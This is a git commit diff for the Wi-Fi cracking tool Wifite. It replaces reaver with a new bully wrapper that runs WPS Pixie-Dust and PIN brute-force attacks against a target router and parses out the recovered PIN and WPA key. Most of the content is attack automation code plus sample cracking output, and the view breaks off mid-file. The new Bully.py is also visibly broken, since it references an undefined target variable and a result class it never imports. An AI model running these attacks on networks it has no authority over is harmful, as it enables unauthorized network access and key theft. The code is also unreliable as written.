Use bully instead of reaver.
Detailed WPS output. TODO: * Actually test that cracked PINs are detected & saved, pending #28 * Command-line options to specify max lockout/timeout/noassoc/failure
This commit is contained in:
18
Wifite.py
18
Wifite.py
@@ -105,6 +105,15 @@ class Wifite(object):
|
||||
result = attack.run()
|
||||
except Exception, e:
|
||||
Color.pl("\n{!} {R}Error: {O}%s" % str(e))
|
||||
if Configuration.verbose > 0 or True:
|
||||
Color.pl('\n{!} {O}Full stack trace below')
|
||||
from traceback import format_exc
|
||||
Color.p('\n{!} ')
|
||||
err = format_exc().strip()
|
||||
err = err.replace('\n', '\n{!} {C} ')
|
||||
err = err.replace(' File', '{W}File')
|
||||
err = err.replace(' Exception: ', '{R}Exception: {O}')
|
||||
Color.pl(err)
|
||||
except KeyboardInterrupt:
|
||||
Color.pl('\n{!} {O}interrupted{W}\n')
|
||||
if not self.user_wants_to_continue(targets_remaining, 1):
|
||||
@@ -128,6 +137,15 @@ class Wifite(object):
|
||||
attack.run()
|
||||
except Exception, e:
|
||||
Color.pl("\n{!} {R}Error: {O}%s" % str(e))
|
||||
if Configuration.verbose > 0 or True:
|
||||
Color.pl('\n{!} {O}Full stack trace below')
|
||||
from traceback import format_exc
|
||||
Color.p('\n{!} ')
|
||||
err = format_exc().strip()
|
||||
err = err.replace('\n', '\n{!} {C} ')
|
||||
err = err.replace(' File', '{W}File')
|
||||
err = err.replace(' Exception: ', '{R}Exception: {O}')
|
||||
Color.pl(err)
|
||||
except KeyboardInterrupt:
|
||||
Color.pl('\n{!} {O}interrupted{W}\n')
|
||||
if not self.user_wants_to_continue(targets_remaining):
|
||||
|
||||
@@ -125,7 +125,7 @@ class Airodump(object):
|
||||
if fil.endswith('.xor'):
|
||||
os.remove(fil)
|
||||
|
||||
def get_targets(self):
|
||||
def get_targets(self, apply_filter=True):
|
||||
''' Parses airodump's CSV file, returns list of Targets '''
|
||||
# Find the .CSV file
|
||||
csv_filename = None
|
||||
@@ -145,8 +145,9 @@ class Airodump(object):
|
||||
capfile = csv_filename[:-3] + 'cap'
|
||||
Wash.check_for_wps_and_update_targets(capfile, targets)
|
||||
|
||||
# Filter targets based on encryption
|
||||
targets = Airodump.filter_targets(targets, skip_wash=self.skip_wash)
|
||||
if apply_filter:
|
||||
# Filter targets based on encryption & WPS capability
|
||||
targets = Airodump.filter_targets(targets, skip_wash=self.skip_wash)
|
||||
|
||||
# Sort by power
|
||||
targets.sort(key=lambda x: x.power, reverse=True)
|
||||
@@ -245,11 +246,10 @@ class Airodump(object):
|
||||
while i < len(result):
|
||||
if bssid and result[i].bssid.lower() != bssid.lower():
|
||||
result.pop(i)
|
||||
continue
|
||||
if essid and result[i].essid.lower() != essid.lower():
|
||||
elif essid and result[i].essid and result[i].essid.lower() != essid.lower():
|
||||
result.pop(i)
|
||||
continue
|
||||
i += 1
|
||||
else:
|
||||
i += 1
|
||||
return result
|
||||
|
||||
def deauth_hidden_targets(self):
|
||||
|
||||
@@ -21,7 +21,7 @@ class Attack(object):
|
||||
Waits for target to appear in airodump
|
||||
'''
|
||||
start_time = time.time()
|
||||
targets = airodump.get_targets()
|
||||
targets = airodump.get_targets(apply_filter=False)
|
||||
while len(targets) == 0:
|
||||
# Wait for target to appear in airodump.
|
||||
if int(time.time() - start_time) > Attack.target_wait:
|
||||
@@ -45,6 +45,3 @@ class Attack(object):
|
||||
|
||||
return airodump_target
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
pass
|
||||
|
||||
406
py/AttackWPS.py
406
py/AttackWPS.py
@@ -7,10 +7,7 @@ from Color import Color
|
||||
from Configuration import Configuration
|
||||
from CrackResultWPS import CrackResultWPS
|
||||
from Process import Process
|
||||
|
||||
import os
|
||||
import time
|
||||
import re
|
||||
from Bully import Bully
|
||||
|
||||
class AttackWPS(Attack):
|
||||
def __init__(self, target):
|
||||
@@ -27,400 +24,15 @@ class AttackWPS(Attack):
|
||||
return self.success
|
||||
|
||||
# Run Pixie-Dust attack
|
||||
if self.is_pixiedust_supported():
|
||||
if self.run_pixiedust_attack():
|
||||
# Pixie-Dust attack succeeded. We're done.
|
||||
self.success = True
|
||||
return self.success
|
||||
else:
|
||||
Color.pl("{!} {R}your version of 'reaver' does not support the {O}WPS pixie-dust attack{W}")
|
||||
|
||||
if Configuration.pixie_only:
|
||||
bully = Bully(self.target, pixie=True)
|
||||
if bully.crack_result is not None:
|
||||
# Pixie-Dust attack succeeded. We're done.
|
||||
self.crack_result = bully.crack_result
|
||||
elif Configuration.pixie_only:
|
||||
Color.pl('\r{!} {O}--pixie{R} set, ignoring WPS-PIN attack{W}')
|
||||
self.success = False
|
||||
else:
|
||||
# Run WPS-PIN attack
|
||||
self.success = self.run_wps_pin_attack()
|
||||
return self.success
|
||||
bully = Bully(self.target, pixie=False)
|
||||
self.crack_result = bully.crack_result
|
||||
return self.crack_result is not None
|
||||
|
||||
|
||||
def is_pixiedust_supported(self):
|
||||
''' Checks if 'reaver' supports WPS Pixie-Dust attack '''
|
||||
output = Process(['reaver', '-h']).stderr()
|
||||
return '--pixie-dust' in output
|
||||
|
||||
def run_pixiedust_attack(self):
|
||||
# Write reaver stdout to file.
|
||||
self.stdout_file = Configuration.temp('reaver.out')
|
||||
if os.path.exists(self.stdout_file):
|
||||
os.remove(self.stdout_file)
|
||||
|
||||
command = [
|
||||
'reaver',
|
||||
'--interface', Configuration.interface,
|
||||
'--bssid', self.target.bssid,
|
||||
'--channel', self.target.channel,
|
||||
'--pixie-dust', '1', # pixie-dust attack
|
||||
#'--delay', '0',
|
||||
#'--no-nacks',
|
||||
'--session', '/dev/null', # Don't restart session
|
||||
'-vv' # (very) verbose
|
||||
]
|
||||
stdout_write = open(self.stdout_file, 'a')
|
||||
reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())
|
||||
|
||||
pin = None
|
||||
step = 'initializing'
|
||||
time_since_last_step = 0
|
||||
|
||||
with Airodump(channel=self.target.channel,
|
||||
target_bssid=self.target.bssid,
|
||||
skip_wash=True,
|
||||
output_file_prefix='pixie') as airodump:
|
||||
|
||||
Color.clear_line()
|
||||
Color.pattack("WPS", self.target, "Pixie Dust", "Waiting for target to appear...")
|
||||
|
||||
while True:
|
||||
try:
|
||||
airodump_target = self.wait_for_target(airodump)
|
||||
except Exception as e:
|
||||
Color.pattack("WPS", self.target, "Pixie-Dust", "{R}failed: {O}%s{W}" % e)
|
||||
Color.pl("")
|
||||
return False
|
||||
|
||||
stdout_write.flush()
|
||||
|
||||
# Check output from reaver process
|
||||
stdout = self.get_stdout()
|
||||
stdout_last_line = stdout.split('\n')[-1]
|
||||
|
||||
(pin, psk, ssid) = self.get_pin_psk_ssid(stdout)
|
||||
|
||||
# Check if we cracked it, or if process stopped.
|
||||
if (pin and psk and ssid) or reaver.poll() != None:
|
||||
reaver.interrupt()
|
||||
|
||||
# Check one-last-time for PIN/PSK/SSID, in case of race condition.
|
||||
stdout = self.get_stdout()
|
||||
(pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(stdout)
|
||||
|
||||
# Check if we cracked it.
|
||||
if pin and psk and ssid:
|
||||
# We cracked it.
|
||||
bssid = self.target.bssid
|
||||
Color.clear_line()
|
||||
Color.pattack("WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}\n")
|
||||
self.crack_result = CrackResultWPS(bssid, ssid, pin, psk)
|
||||
self.crack_result.dump()
|
||||
return True
|
||||
else:
|
||||
# Failed to crack, reaver proces ended.
|
||||
Color.clear_line()
|
||||
Color.pattack("WPS", airodump_target, "Pixie-Dust", "{R}Failed: {O}WPS PIN not found{W}\n")
|
||||
return False
|
||||
|
||||
if 'WPS pin not found' in stdout:
|
||||
Color.pl('{R}failed: {O}WPS pin not found{W}')
|
||||
break
|
||||
|
||||
last_step = step
|
||||
# Status updates, depending on last line of stdout
|
||||
if 'Waiting for beacon from' in stdout_last_line:
|
||||
step = '({C}step 1/8{W}) waiting for beacon'
|
||||
elif 'Associated with' in stdout_last_line:
|
||||
step = '({C}step 2/8{W}) waiting to start session'
|
||||
elif 'Starting Cracking Session.' in stdout_last_line:
|
||||
step = '({C}step 3/8{W}) waiting to try pin'
|
||||
elif 'Trying pin' in stdout_last_line:
|
||||
step = '({C}step 4/8{W}) trying pin'
|
||||
elif 'Sending EAPOL START request' in stdout_last_line:
|
||||
step = '({C}step 5/8{W}) sending eapol start request'
|
||||
elif 'Sending identity response' in stdout_last_line:
|
||||
step = '({C}step 6/8{W}) sending identity response'
|
||||
elif 'Sending M2 message' in stdout_last_line:
|
||||
step = '({C}step 7/8{W}) sending m2 message (may take a while)'
|
||||
elif 'Detected AP rate limiting,' in stdout_last_line:
|
||||
if Configuration.wps_skip_rate_limit:
|
||||
Color.pl('{R}failed: {O}hit WPS rate-limit{W}')
|
||||
Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' +
|
||||
' this kind of failure in the future{W}')
|
||||
break
|
||||
step = '({C}step -/8{W}) waiting for AP rate limit'
|
||||
|
||||
if step != last_step:
|
||||
# Step changed, reset step timer
|
||||
time_since_last_step = 0
|
||||
else:
|
||||
time_since_last_step += 1
|
||||
|
||||
if time_since_last_step > Configuration.wps_pixie_step_timeout:
|
||||
Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout)
|
||||
break
|
||||
|
||||
# TODO: Timeout check
|
||||
if reaver.running_time() > Configuration.wps_pixie_timeout:
|
||||
Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout)
|
||||
break
|
||||
|
||||
# Reaver Failure/Timeout check
|
||||
fail_count = stdout.count('WPS transaction failed')
|
||||
if fail_count > Configuration.wps_fail_threshold:
|
||||
Color.pl('{R}failed: {O}too many failures (%d){W}' % fail_count)
|
||||
break
|
||||
timeout_count = stdout.count('Receive timeout occurred')
|
||||
if timeout_count > Configuration.wps_timeout_threshold:
|
||||
Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count)
|
||||
break
|
||||
|
||||
Color.clear_line()
|
||||
Color.pattack("WPS", airodump_target, "Pixie-Dust", step)
|
||||
|
||||
time.sleep(1)
|
||||
continue
|
||||
|
||||
# Attack failed, already printed reason why
|
||||
reaver.interrupt()
|
||||
stdout_write.close()
|
||||
return False
|
||||
|
||||
|
||||
def run_wps_pin_attack(self):
|
||||
# Write reaver stdout to file.
|
||||
self.stdout_file = Configuration.temp('reaver.out')
|
||||
if os.path.exists(self.stdout_file):
|
||||
os.remove(self.stdout_file)
|
||||
stdout_write = open(self.stdout_file, 'a')
|
||||
|
||||
# Start reaver process
|
||||
command = [
|
||||
'reaver',
|
||||
'--interface', Configuration.interface,
|
||||
'--bssid', self.target.bssid,
|
||||
'--channel', self.target.channel,
|
||||
'--session', '/dev/null', # Don't restart session
|
||||
'-vv' # verbose
|
||||
]
|
||||
reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())
|
||||
|
||||
self.success = False
|
||||
pins = set()
|
||||
pin_current = 0
|
||||
pin_total = 11000
|
||||
failures = 0
|
||||
state = 'initializing'
|
||||
|
||||
with Airodump(channel=self.target.channel,
|
||||
target_bssid=self.target.bssid,
|
||||
skip_wash=True,
|
||||
output_file_prefix='wps') as airodump:
|
||||
|
||||
Color.clear_line()
|
||||
Color.pattack("WPS", self.target, "PIN Attack", "Waiting for target to appear...")
|
||||
|
||||
while True:
|
||||
try:
|
||||
airodump_target = self.wait_for_target(airodump)
|
||||
except Exception as e:
|
||||
Color.pattack("WPS", self.target, "PIN Attack", "{R}failed: {O}%s{W}" % e)
|
||||
Color.pl("")
|
||||
return False
|
||||
time.sleep(1)
|
||||
percent = 100 * float(pin_current) / float(pin_total)
|
||||
Color.clear_line()
|
||||
status = '{G}%.2f%% done{W}, ' % percent
|
||||
status += '{G}%d{W}/{G}%d pins{W}, ' % (pin_current, pin_total)
|
||||
status += '{R}%d/%d failures{W}' % (failures, Configuration.wps_fail_threshold)
|
||||
Color.pattack("WPS", airodump_target, "PIN Attack", status)
|
||||
|
||||
if failures >= Configuration.wps_fail_threshold:
|
||||
Color.pattack("WPS", airodump_target, "PIN Attack", '{R}failed: {O}too many failures{W}')
|
||||
Color.pl("")
|
||||
break
|
||||
|
||||
# Get output
|
||||
out = self.get_stdout()
|
||||
|
||||
# Clear output file
|
||||
f = open(self.stdout_file, 'w')
|
||||
f.write('')
|
||||
f.close()
|
||||
|
||||
# CHECK FOR CRACK
|
||||
|
||||
(pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(out)
|
||||
if pin and psk and ssid:
|
||||
# We cracked it.
|
||||
self.success = True
|
||||
Color.pl('\n{+} {G}successly cracked WPS PIN and PSK{W}\n')
|
||||
self.crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk)
|
||||
self.crack_result.dump()
|
||||
break
|
||||
|
||||
|
||||
# PIN PROGRESS
|
||||
|
||||
# Reaver 1.5.*
|
||||
match = None
|
||||
for match in re.finditer('Pin count advanced: (\d+)\\. Max pin attempts: (\d+)', out):
|
||||
# Look at last entry for "Pin count advanced" to get latest pin count
|
||||
pass
|
||||
if match:
|
||||
# Reset failures on successful try
|
||||
failures = 0
|
||||
groups = match.groups()
|
||||
pin_current = int(groups[0])
|
||||
pin_total = int(groups[1])
|
||||
|
||||
# Reaver 1.3, 1.4
|
||||
match = None
|
||||
for match in re.finditer('Trying pin (\d+)', out):
|
||||
if match:
|
||||
pin = int(match.groups()[0])
|
||||
if pin not in pins:
|
||||
# Reset failures on successful try
|
||||
failures = 0
|
||||
pins.add(pin)
|
||||
pin_current += 1
|
||||
|
||||
# Failures
|
||||
if 'WPS transaction failed' in out:
|
||||
failures += out.count('WPS transaction failed')
|
||||
elif 'Receive timeout occurred' in out:
|
||||
# Reaver 1.4
|
||||
failures += out.count('Receive timeout occurred')
|
||||
|
||||
# Status
|
||||
if 'Waiting for beacon from' in out: state = '{O}waiting for beacon{W}'
|
||||
if 'Starting Cracking Session' in out: state = '{C}cracking{W}'
|
||||
# Reaver 1.4
|
||||
if 'Trying pin' in out and 'cracking' not in state: state = '{C}cracking{W}'
|
||||
|
||||
if 'Detected AP rate limiting' in out:
|
||||
state = '{R}rate-limited{W}'
|
||||
if Configuration.wps_skip_rate_limit:
|
||||
Color.pl(state)
|
||||
Color.pl('{!} {R}hit rate limit, stopping{W}')
|
||||
Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' +
|
||||
' this kind of failure in the future{W}')
|
||||
break
|
||||
|
||||
if 'WARNING: Failed to associate with' in out:
|
||||
# TODO: Fail after X association failures (instead of just one)
|
||||
Color.pl('\n{!} {R}failed to associate with target, {O}stopping{W}')
|
||||
break
|
||||
|
||||
match = re.search('Estimated Remaining time: ([a-zA-Z0-9]+)', out)
|
||||
if match:
|
||||
eta = match.groups()[0]
|
||||
state = '{C}cracking, ETA: {G}%s{W}' % eta
|
||||
|
||||
match = re.search('Max time remaining at this rate: ([a-zA-Z0-9:]+)..([0-9]+) pins left to try', out)
|
||||
if match:
|
||||
eta = match.groups()[0]
|
||||
state = '{C}cracking, ETA: {G}%s{W}' % eta
|
||||
pins_left = int(match.groups()[1])
|
||||
|
||||
# Divine pin_current & pin_total from this:
|
||||
pin_current = 11000 - pins_left
|
||||
|
||||
# Check if process is still running
|
||||
if reaver.pid.poll() != None:
|
||||
Color.pl('{R}failed{W}')
|
||||
Color.pl('{!} {R}reaver{O} quit unexpectedly{W}')
|
||||
self.success = False
|
||||
break
|
||||
|
||||
# Output the current state
|
||||
Color.p(state)
|
||||
|
||||
'''
|
||||
[+] Waiting for beacon from AA:BB:CC:DD:EE:FF
|
||||
[+] Associated with AA:BB:CC:DD:EE:FF (ESSID: <essid here>)
|
||||
[+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000
|
||||
[+] Trying pin 12345670.
|
||||
[+] Pin count advanced: 46. Max pin attempts: 11000
|
||||
[!] WPS transaction failed (code: 0x02), re-trying last pin
|
||||
[!] WPS transaction failed (code: 0x03), re-trying last pin
|
||||
[!] WARNING: Failed to associate with 00:24:7B:AB:5C:EE (ESSID: myqwest0445)
|
||||
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
|
||||
[!] WARNING: 25 successive start failures
|
||||
[!] WARNING: Failed to associate with B2:B2:DC:A1:35:94 (ESSID: CenturyLink2217)
|
||||
[+] 0.55% complete. Elapsed time: 0d0h2m21s.
|
||||
[+] Estimated Remaining time: 0d15h11m35s
|
||||
|
||||
[+] Pin cracked in 7 seconds
|
||||
[+] WPS PIN: '12345678'
|
||||
[+] WPA PSK: 'abcdefgh'
|
||||
[+] AP SSID: 'Test Router'
|
||||
|
||||
Reaver 1.4:
|
||||
[+] Max time remaining at this rate: 18:19:36 (10996 pins left to try)
|
||||
[!] WARNING: Receive timeout occurred
|
||||
|
||||
'''
|
||||
|
||||
reaver.interrupt()
|
||||
|
||||
return self.success
|
||||
|
||||
|
||||
@staticmethod
|
||||
def get_pin_psk_ssid(stdout):
|
||||
''' Parses WPS PIN, PSK, and SSID from output '''
|
||||
pin = psk = ssid = None
|
||||
|
||||
# Check for PIN.
|
||||
# PIN: Printed *before* the attack completes.
|
||||
regex = re.search('WPS pin: *([0-9]*)', stdout)
|
||||
if regex:
|
||||
pin = regex.groups()[0]
|
||||
# PIN: Printed when attack is completed.
|
||||
regex = re.search("WPS PIN: *'([0-9]+)'", stdout)
|
||||
if regex:
|
||||
pin = regex.groups()[0]
|
||||
|
||||
# Check for PSK.
|
||||
regex = re.search("WPA PSK: *'(.+)'", stdout)
|
||||
if regex:
|
||||
psk = regex.groups()[0]
|
||||
|
||||
# Check for SSID
|
||||
regex = re.search("AP SSID: *'(.+)'", stdout)
|
||||
if regex:
|
||||
ssid = regex.groups()[0]
|
||||
|
||||
return (pin, psk, ssid)
|
||||
|
||||
def get_stdout(self):
|
||||
''' Gets output from stdout_file '''
|
||||
if not self.stdout_file:
|
||||
return ''
|
||||
f = open(self.stdout_file, 'r')
|
||||
stdout = f.read()
|
||||
f.close()
|
||||
return stdout.strip()
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
stdout = '''
|
||||
[Pixie-Dust]
|
||||
[Pixie-Dust] Pixiewps 1.1
|
||||
[Pixie-Dust]
|
||||
[Pixie-Dust] [*] E-S1: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|
||||
[Pixie-Dust] [*] E-S2: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|
||||
[Pixie-Dust] [+] WPS pin: 12345678
|
||||
[Pixie-Dust]
|
||||
[Pixie-Dust] [*] Time taken: 0 s
|
||||
[Pixie-Dust]
|
||||
Running reaver with the correct pin, wait ...
|
||||
Cmd : reaver -i wlan0mon -b 08:86:3B:8C:FD:9C -c 11 -s y -vv -p 28097402
|
||||
|
||||
[Reaver Test] BSSID: AA:BB:CC:DD:EE:FF
|
||||
[Reaver Test] Channel: 11
|
||||
[Reaver Test] [+] WPS PIN: '12345678'
|
||||
[Reaver Test] [+] WPA PSK: 'Test PSK'
|
||||
[Reaver Test] [+] AP SSID: 'Test Router'
|
||||
'''
|
||||
print AttackWPS.get_pin_psk_ssid(stdout)
|
||||
pass
|
||||
|
||||
207
py/Bully.py
Normal file
207
py/Bully.py
Normal file
@@ -0,0 +1,207 @@
|
||||
#!/usr/bin/python2.7
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from Attack import Attack
|
||||
from Airodump import Airodump
|
||||
from Color import Color
|
||||
from Timer import Timer
|
||||
from Process import Process
|
||||
from Configuration import Configuration
|
||||
|
||||
import os, time, re
|
||||
from threading import Thread
|
||||
|
||||
class Bully(Attack):
|
||||
def __init__(self, target, pixie=False):
|
||||
super(Bully, self).__init__(target)
|
||||
self.consecutive_lockouts = self.consecutive_timeouts = self.consecutive_noassoc = 0
|
||||
self.pins_attempted = 0
|
||||
self.state = "{O}Waiting for beacon{W}"
|
||||
self.m_state = None
|
||||
self.start_time = time.time()
|
||||
|
||||
self.cracked_pin = self.cracked_key = self.cracked_bssid = self.cracked_essid = None
|
||||
self.crack_result = None
|
||||
|
||||
self.target = target
|
||||
self.pixie = pixie
|
||||
|
||||
self.cmd = [
|
||||
"stdbuf", "-o0", # No buffer. See https://stackoverflow.com/a/40453613/7510292
|
||||
"bully",
|
||||
"--bssid", target.bssid,
|
||||
"--channel", target.channel,
|
||||
"--detectlock", # Detect WPS lockouts unreported by AP
|
||||
"--force",
|
||||
"-v", "4"
|
||||
]
|
||||
#self.cmd.extend(["-p", "80246212", "--force", "--bruteforce"])
|
||||
if self.pixie:
|
||||
self.cmd.append("--pixiewps")
|
||||
self.cmd.append(Configuration.interface)
|
||||
|
||||
self.bully_proc = None
|
||||
self.run()
|
||||
self.stop()
|
||||
|
||||
def attack_type(self):
|
||||
return "Pixie-Dust" if self.pixie else "PIN Attack"
|
||||
|
||||
def run(self):
|
||||
with Airodump(channel=self.target.channel,
|
||||
target_bssid=self.target.bssid,
|
||||
skip_wash=True,
|
||||
output_file_prefix='wps_pin') as airodump:
|
||||
# Wait for target
|
||||
Color.clear_entire_line()
|
||||
Color.pattack("WPS",
|
||||
self.target,
|
||||
self.attack_type(),
|
||||
"Waiting for target to appear...")
|
||||
self.target = self.wait_for_target(airodump)
|
||||
|
||||
# Start bully
|
||||
self.bully_proc = Process(self.cmd,
|
||||
stderr=Process.devnull(),
|
||||
bufsize=0,
|
||||
cwd=Configuration.temp())
|
||||
t = Thread(target=self.parse_line_thread)
|
||||
t.daemon = True
|
||||
t.start()
|
||||
try:
|
||||
while self.bully_proc.poll() is None:
|
||||
try:
|
||||
self.target = self.wait_for_target(airodump)
|
||||
except Exception as e:
|
||||
Color.clear_entire_line()
|
||||
Color.pattack("WPS",
|
||||
self.target,
|
||||
self.attack_type(),
|
||||
"{R}failed: {O}%s{W}" % e)
|
||||
Color.pl("")
|
||||
self.stop()
|
||||
break
|
||||
Color.clear_entire_line()
|
||||
Color.pattack("WPS",
|
||||
self.target,
|
||||
self.attack_type(),
|
||||
self.get_status())
|
||||
time.sleep(0.5)
|
||||
except KeyboardInterrupt as e:
|
||||
self.stop()
|
||||
raise e
|
||||
except Exception as e:
|
||||
self.stop()
|
||||
raise e
|
||||
|
||||
if self.crack_result is None:
|
||||
Color.clear_entire_line()
|
||||
Color.pattack("WPS",
|
||||
self.target,
|
||||
self.attack_type(),
|
||||
"{R}Failed{W}\n")
|
||||
|
||||
def running_time(self):
|
||||
return int(time.time() - self.start_time)
|
||||
|
||||
def get_status(self):
|
||||
result = self.state
|
||||
result += " ({C}runtime:%s{W}" % Timer.secs_to_str(self.running_time())
|
||||
result += " {G}tries:%d{W}" % self.pins_attempted
|
||||
result += " {O}failures:%d{W}" % (self.consecutive_timeouts + self.consecutive_noassoc)
|
||||
result += " {R}lockouts:%d{W}" % self.consecutive_lockouts
|
||||
result += ")"
|
||||
return result
|
||||
|
||||
def parse_line_thread(self):
|
||||
for line in iter(self.bully_proc.pid.stdout.readline, b""):
|
||||
if line == "": continue
|
||||
line = line.replace("\r", "").replace("\n", "").strip()
|
||||
if self.parse_line(line): break # Cracked
|
||||
|
||||
def parse_line(self, line):
|
||||
# [+] Got beacon for 'Green House 5G' (30:85:a9:39:d2:1c)
|
||||
got_beacon = re.compile(r".*Got beacon for '(.*)' \((.*)\)").match(line)
|
||||
if got_beacon:
|
||||
# group(1)=ESSID, group(2)=BSSID
|
||||
self.state = "Got beacon"
|
||||
|
||||
# [+] Last State = 'NoAssoc' Next pin '48855501'
|
||||
last_state = re.compile(r".*Last State = '(.*)'\s*Next pin '(.*)'").match(line)
|
||||
if last_state:
|
||||
# group(1)=result, group(2)=PIN
|
||||
result = "Start" # last_state.group(1)
|
||||
pin = last_state.group(2)
|
||||
self.state = "Trying PIN:{C}%s{W}" % pin
|
||||
|
||||
# [+] Rx( M5 ) = 'Pin1Bad' Next pin '35565505'
|
||||
# [+] Tx( Auth ) = 'Timeout' Next pin '80241263'
|
||||
rx_m = re.compile(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'").match(line)
|
||||
if rx_m:
|
||||
# group(1)=M3/M5, group(2)=result, group(3)=PIN
|
||||
self.m_state = rx_m.group(1)
|
||||
result = rx_m.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad
|
||||
if result in ["Pin1Bad", "Pin2Bad"]:
|
||||
self.pins_attempted += 1
|
||||
self.consecutive_lockouts = 0 # Reset lockout count
|
||||
self.consecutive_timeouts = 0 # Reset timeout count
|
||||
self.consecutive_noassoc = 0 # Reset timeout count
|
||||
result = "{G}%s{W}" % result
|
||||
elif result == "Timeout":
|
||||
self.consecutive_timeouts += 1
|
||||
result = "{O}%s{W}" % result
|
||||
elif result == "NoAssoc":
|
||||
self.consecutive_noassoc += 1
|
||||
result = "{O}%s{W}" % result
|
||||
else:
|
||||
result = "{R}%s{W}" % result
|
||||
pin = rx_m.group(3)
|
||||
self.state = "Trying PIN:{C}%s{W} (%s)" % (pin, result)
|
||||
|
||||
# [!] WPS lockout reported, sleeping for 43 seconds ...
|
||||
lock_out = re.compile(r".*WPS lockout reported, sleeping for (\d+) seconds").match(line)
|
||||
if lock_out:
|
||||
sleeping = lock_out.group(1)
|
||||
self.state = "{R}WPS Lock-out: {O}Waiting %s seconds{W}" % sleeping
|
||||
self.consecutive_lockouts += 1
|
||||
|
||||
# [Pixie-Dust] WPS pin not found
|
||||
pixie_re = re.compile(r".*\[Pixie-Dust\] WPS pin not found").match(line)
|
||||
if pixie_re:
|
||||
self.state = "{R}Failed{W}"
|
||||
|
||||
# [*] Pin is '80246213', key is 'password'
|
||||
pin_key_re = re.compile(r"^\s*Pin is '(\d*)', key is '(.*)'\s*$").match(line)
|
||||
if pin_key_re:
|
||||
self.cracked_pin = pin_key_re.group(1)
|
||||
self.cracked_key = pin_key_re.group(2)
|
||||
|
||||
# PIN : '80246213'
|
||||
pin_re = re.compile(r"^\s*PIN\s*:\s*'(.*)'\s*$").match(line)
|
||||
if pin_re: self.cracked_pin = pin_re.group(1)
|
||||
|
||||
# KEY : 'password'
|
||||
key_re = re.compile(r"^\s*KEY\s*:\s*'(.*)'\s*$").match(line)
|
||||
if key_re: self.cracked_key = key_re.group(1)
|
||||
|
||||
#warn_re = re.compile(r"\[\!\]\s*(.*)$").match(line)
|
||||
#if warn_re: self.state = "{O}%s{W}" % warn_re.group(1)
|
||||
|
||||
if not self.crack_result and self.cracked_pin and self.cracked_key:
|
||||
Color.clear_entire_line()
|
||||
Color.pattack("WPS", self.target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}\n")
|
||||
self.crack_result = CrackResultWPS(
|
||||
airodump_target.essid,
|
||||
airodump_target.bssid,
|
||||
self.cracked_pin,
|
||||
self.cracked_key)
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def stop(self):
|
||||
if hasattr(self, "pid") and self.pid and self.pid.poll() == None:
|
||||
self.pid.interrupt()
|
||||
|
||||
def __del__(self):
|
||||
self.stop()
|
||||
@@ -22,8 +22,8 @@ class Client(object):
|
||||
6 Probed ESSIDs
|
||||
'''
|
||||
self.station = fields[0].strip()
|
||||
self.power = int(fields[3].strip())
|
||||
self.packets = int(fields[4].strip())
|
||||
self.power = int(fields[3].strip()) if fields[3].strip().isdigit() else 0
|
||||
self.packets = int(fields[4].strip()) if fields[4].strip().isdigit() else 0
|
||||
self.bssid = fields[5].strip()
|
||||
|
||||
|
||||
|
||||
@@ -55,7 +55,7 @@ class Process(object):
|
||||
|
||||
return True
|
||||
|
||||
def __init__(self, command, devnull=False, stdout=PIPE, stderr=PIPE, cwd=None):
|
||||
def __init__(self, command, devnull=False, stdout=PIPE, stderr=PIPE, cwd=None, bufsize=0):
|
||||
''' Starts executing command '''
|
||||
|
||||
if type(command) == str:
|
||||
@@ -78,7 +78,7 @@ class Process(object):
|
||||
|
||||
self.start_time = time.time()
|
||||
|
||||
self.pid = Popen(command, stdout=sout, stderr=serr, cwd=cwd)
|
||||
self.pid = Popen(command, stdout=sout, stderr=serr, cwd=cwd, bufsize=bufsize)
|
||||
|
||||
def __del__(self):
|
||||
'''
|
||||
|
||||
425
py/Reaver.py
Normal file
425
py/Reaver.py
Normal file
@@ -0,0 +1,425 @@
|
||||
#!/usr/bin/python2.7
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from Attack import Attack
|
||||
from Airodump import Airodump
|
||||
from Color import Color
|
||||
from Configuration import Configuration
|
||||
from CrackResultWPS import CrackResultWPS
|
||||
from Process import Process
|
||||
|
||||
import os, time, re
|
||||
|
||||
class Reaver(Attack):
|
||||
def __init__(self, target):
|
||||
super(Reaver, self).__init__(target)
|
||||
self.success = False
|
||||
self.crack_result = None
|
||||
|
||||
def run(self):
|
||||
''' Run all WPS-related attacks '''
|
||||
|
||||
# Drop out if user specified to not use Reaver
|
||||
if Configuration.no_reaver:
|
||||
self.success = False
|
||||
return self.success
|
||||
|
||||
# Run Pixie-Dust attack
|
||||
if self.is_pixiedust_supported():
|
||||
if self.run_pixiedust_attack():
|
||||
# Pixie-Dust attack succeeded. We're done.
|
||||
self.success = True
|
||||
return self.success
|
||||
else:
|
||||
Color.pl("{!} {R}your version of 'reaver' does not support the {O}WPS pixie-dust attack{W}")
|
||||
|
||||
if Configuration.pixie_only:
|
||||
Color.pl('\r{!} {O}--pixie{R} set, ignoring WPS-PIN attack{W}')
|
||||
self.success = False
|
||||
else:
|
||||
# Run WPS-PIN attack
|
||||
self.success = self.run_wps_pin_attack()
|
||||
return self.success
|
||||
|
||||
|
||||
def is_pixiedust_supported(self):
|
||||
''' Checks if 'reaver' supports WPS Pixie-Dust attack '''
|
||||
